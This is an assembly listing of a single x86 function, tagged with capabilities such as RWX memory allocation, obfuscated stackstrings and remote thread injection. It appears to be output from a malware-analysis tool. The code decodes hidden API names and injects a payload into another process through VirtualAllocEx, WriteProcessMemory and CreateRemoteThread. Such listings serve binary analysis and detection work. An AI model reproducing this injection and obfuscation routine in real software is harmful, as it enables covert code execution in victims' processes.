Function at 0x100c6f4e
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode
Terminate thread

Disassembly:
push 0xc0
mov eax, 0x100f8d2b
call fcn.100cca34
mov eax, dword [ebp + 8]
xor ebx, ebx
mov edi, dword [ebp + 0xc]
push 4
push 0x3000
push 0x1000
push ebx
mov dword [ebp - 0xbc], eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0xb4], eax
test eax, eax
je 0x100c74ff
lea eax, [ebp - 0xb4]
mov dword [ebp - 0xb8], eax
lea eax, [ebp - 0xb8]
push eax
lea eax, [ebp - 0xc4]
push ebx
push eax
call fcn.100a1eac
add esp, 0xc
mov dword [ebp - 4], ebx
mov ebx, dword [ebp - 0xb4]
push 0x10218528
push 0x208
lea eax, [ebx + 0x408]
push eax
mov eax, dword [0x101ef2d0]
call dword [eax + 0xc]
mov dword [ebp - 0x94], 0xcb6f
mov eax, dword [ebp - 0x94]
push 0x7b
pop ecx
xor eax, ecx
mov word [ebp - 0x90], ax
mov eax, dword [ebp - 0x94]
inc eax
xor eax, 0x37
mov word [ebp - 0x8e], ax
mov eax, dword [ebp - 0x94]
add eax, 2
xor eax, 0x35
mov word [ebp - 0x8c], ax
mov eax, dword [ebp - 0x94]
add eax, 3
xor eax, 0x36
mov word [ebp - 0x8a], ax
mov eax, dword [ebp - 0x94]
add eax, 4
push 0x43
pop edx
xor eax, edx
mov word [ebp - 0x88], ax
mov eax, dword [ebp - 0x94]
add eax, 5
xor eax, 0x33
mov word [ebp - 0x86], ax
mov eax, dword [ebp - 0x94]
add eax, 6
xor eax, 0x30
mov word [ebp - 0x84], ax
mov eax, dword [ebp - 0x94]
add eax, 7
xor eax, 0x31
mov word [ebp - 0x82], ax
mov eax, dword [ebp - 0x94]
add eax, 8
xor eax, 0x46
mov word [ebp - 0x80], ax
mov eax, dword [ebp - 0x94]
add eax, 9
push 0x2d
pop ecx
xor eax, ecx
mov word [ebp - 0x7e], ax
mov eax, dword [ebp - 0x94]
add eax, 0xa
xor eax, 0x33
mov word [ebp - 0x7c], ax
mov eax, dword [ebp - 0x94]
add eax, 0xb
xor eax, 0x34
mov word [ebp - 0x7a], ax
mov eax, dword [ebp - 0x94]
add eax, 0xc
xor eax, 0x33
mov word [ebp - 0x78], ax
mov eax, dword [ebp - 0x94]
add eax, 0xd
xor eax, 0x42
mov word [ebp - 0x76], ax
mov eax, dword [ebp - 0x94]
add eax, 0xe
xor eax, ecx
mov word [ebp - 0x74], ax
mov eax, dword [ebp - 0x94]
add eax, 0xf
xor eax, 0x34
mov word [ebp - 0x72], ax
mov eax, dword [ebp - 0x94]
add eax, 0x10
xor eax, 0x31
mov word [ebp - 0x70], ax
mov eax, dword [ebp - 0x94]
add eax, 0x11
xor eax, 0x61
mov word [ebp - 0x6e], ax
mov eax, dword [ebp - 0x94]
add eax, 0x12
xor eax, 0x35
mov word [ebp - 0x6c], ax
mov eax, dword [ebp - 0x94]
add eax, 0x13
xor eax, ecx
mov word [ebp - 0x6a], ax
mov eax, dword [ebp - 0x94]
add eax, 0x14
xor eax, 0x41
mov word [ebp - 0x68], ax
mov eax, dword [ebp - 0x94]
add eax, 0x15
xor eax, 0x32
mov word [ebp - 0x66], ax
mov eax, dword [ebp - 0x94]
add eax, 0x16
xor eax, 0x35
mov word [ebp - 0x64], ax
mov eax, dword [ebp - 0x94]
add eax, 0x17
xor eax, edx
mov word [ebp - 0x62], ax
mov eax, dword [ebp - 0x94]
add eax, 0x18
xor eax, ecx
mov word [ebp - 0x60], ax
mov eax, dword [ebp - 0x94]
add eax, 0x19
xor eax, 0x38
mov word [ebp - 0x5e], ax
mov eax, dword [ebp - 0x94]
add eax, 0x1a
xor eax, 0x32
mov word [ebp - 0x5c], ax
mov eax, dword [ebp - 0x94]
add eax, 0x1b
xor eax, 0x41
mov word [ebp - 0x5a], ax
mov eax, dword [ebp - 0x94]
add eax, 0x1c
xor eax, 0x37
mov word [ebp - 0x58], ax
mov eax, dword [ebp - 0x94]
add eax, 0x1d
xor eax, 0x32
mov word [ebp - 0x56], ax
mov eax, dword [ebp - 0x94]
add eax, 0x1e
xor eax, 0x38
mov word [ebp - 0x54], ax
mov eax, dword [ebp - 0x94]
add eax, 0x1f
xor eax, 0x44
mov word [ebp - 0x52], ax
mov eax, dword [ebp - 0x94]
add eax, 0x20
xor eax, edx
mov word [ebp - 0x50], ax
mov eax, dword [ebp - 0x94]
add eax, 0x21
xor eax, 0x31
mov word [ebp - 0x4e], ax
mov eax, dword [ebp - 0x94]
add eax, 0x22
xor eax, 0x46
lea ecx, [ebp - 0x94]
mov word [ebp - 0x4c], ax
mov eax, dword [ebp - 0x94]
add eax, 0x23
xor eax, edx
mov word [ebp - 0x4a], ax
mov eax, dword [ebp - 0x94]
add eax, 0x24
xor eax, 0x41
mov word [ebp - 0x48], ax
mov eax, dword [ebp - 0x94]
add eax, 0x25
xor eax, 0x7d
mov word [ebp - 0x46], ax
xor eax, eax
mov word [ebp - 0x44], ax
mov ax, word [ebp - 0x90]
mov esi, dword [0x101ef2d0]
call fcn.1000b49e
push eax
push 0xa0
lea eax, [ebx + 0x610]
push eax
call dword [esi + 0xc]
push edi
push str._08x
lea eax, [ebx + 0x6b0]
push 0xa0
push eax
mov eax, dword [0x101ef2d0]
call dword [eax + 0x5d0]
add esp, 0x10
push 0x78
pop eax
mov word [ebp - 0xb0], ax
push 0x72
pop ecx
push 0x7f
pop eax
mov word [ebp - 0xae], cx
mov word [ebp - 0xac], ax
push 0x7b
pop eax
mov word [ebp - 0xaa], ax
mov word [ebp - 0xa8], cx
push 0x79
pop ecx
push 0x40
mov word [ebp - 0xa6], cx
pop eax
mov word [ebp - 0xa4], ax
push 0x3f
pop eax
mov word [ebp - 0xa2], ax
push 0x3b
pop eax
mov word [ebp - 0xa0], ax
push 0x71
pop eax
mov word [ebp - 0x9e], ax
xor eax, eax
mov word [ebp - 0x9c], cx
mov word [ebp - 0x9a], cx
lea ecx, [ebp - 0xb0]
mov word [ebp - 0x98], ax
mov ax, word [ebp - 0xb0]
call fcn.100cc0da
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov dword [ebp - 0x40], 0x16
mov edi, eax
mov byte [ebp - 0x3c], 0x45
mov byte [ebp - 0x3b], 0x73
mov byte [ebp - 0x3a], 0x62
push 0x78
mov byte [ebp - 0x39], 0x53
pop eax
mov byte [ebp - 0x38], al
mov byte [ebp - 0x37], 0x60
mov byte [ebp - 0x36], 0x7f
mov byte [ebp - 0x35], 0x64
lea ecx, [ebp - 0x40]
mov byte [ebp - 0x34], 0x79
mov byte [ebp - 0x33], al
mov byte [ebp - 0x32], 0x7b
mov byte [ebp - 0x31], 0x73
mov byte [ebp - 0x30], al
mov byte [ebp - 0x2f], 0x62
mov byte [ebp - 0x2e], 0x40
mov byte [ebp - 0x2d], 0x77
mov byte [ebp - 0x2c], 0x64
mov byte [ebp - 0x2b], 0x7f
mov byte [ebp - 0x2a], 0x77
mov byte [ebp - 0x29], 0x74
mov byte [ebp - 0x28], 0x7a
mov byte [ebp - 0x27], 0x73
mov byte [ebp - 0x26], 0x41
mov al, byte [ebp - 0x3c]
mov byte [ebp - 0x25], 0
call fcn.100cc357
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
push edi
call esi
mov dword [ebx + 0x400], eax
push 0x57
pop ecx
mov dword [ebp - 0x24], ecx
mov eax, dword [ebp - 0x24]
xor eax, 0x4c
mov byte [ebp - 0x20], al
mov eax, dword [ebp - 0x24]
inc al
xor eax, 0x6f
mov byte [ebp - 0x1f], al
mov eax, dword [ebp - 0x24]
add al, 2
xor eax, 0x61
mov byte [ebp - 0x1e], al
mov eax, dword [ebp - 0x24]
add al, 3
xor eax, 0x64
mov byte [ebp - 0x1d], al
mov eax, dword [ebp - 0x24]
add al, 4
xor eax, 0x4c
mov byte [ebp - 0x1c], al
mov eax, dword [ebp - 0x24]
add al, 5
xor eax, 0x69
mov byte [ebp - 0x1b], al
mov eax, dword [ebp - 0x24]
add al, 6
xor eax, 0x62
mov byte [ebp - 0x1a], al
mov eax, dword [ebp - 0x24]
add al, 7
xor eax, 0x72
mov byte [ebp - 0x19], al
mov eax, dword [ebp - 0x24]
add al, 8
xor eax, 0x61
mov byte [ebp - 0x18], al
mov eax, dword [ebp - 0x24]
add al, 9
xor eax, 0x72
mov byte [ebp - 0x17], al
mov eax, dword [ebp - 0x24]
add al, 0xa
xor eax, 0x79
mov byte [ebp - 0x16], al
mov eax, dword [ebp - 0x24]
add al, 0xb
mov byte [ebp - 0x14], 0
xor eax, ecx
lea ecx, [ebp - 0x24]
mov byte [ebp - 0x15], al
mov al, byte [ebp - 0x20]
call fcn.10010e10
push eax
push edi
call esi
push 0x200
push 0x100c3c53
push ebx
mov dword [ebx + 0x404], eax
call fcn.100cfb50
mov ebx, dword [ebp - 0xbc]
add esp, 0xc
push 0x40
push 0x3000
push 0x1000
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edi, eax
test edi, edi
je 0x100c74e5
lea eax, [ebp - 0xcc]
push eax
push 0x1000
push dword [ebp - 0xb4]
lea esi, [edi + 0x400]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
xor eax, eax
push eax
push eax
push esi
push edi
push eax
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov esi, eax
push 0x1388
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x100c74cf
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x8000
push 0
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
or dword [ebp - 4], 0xffffffff
cmp byte [ebp - 0xc4], 0
jne 0x100c74ff
lea eax, [ebp - 0xc0]
push eax
call fcn.100a3029
pop ecx
call fcn.100cc9de
ret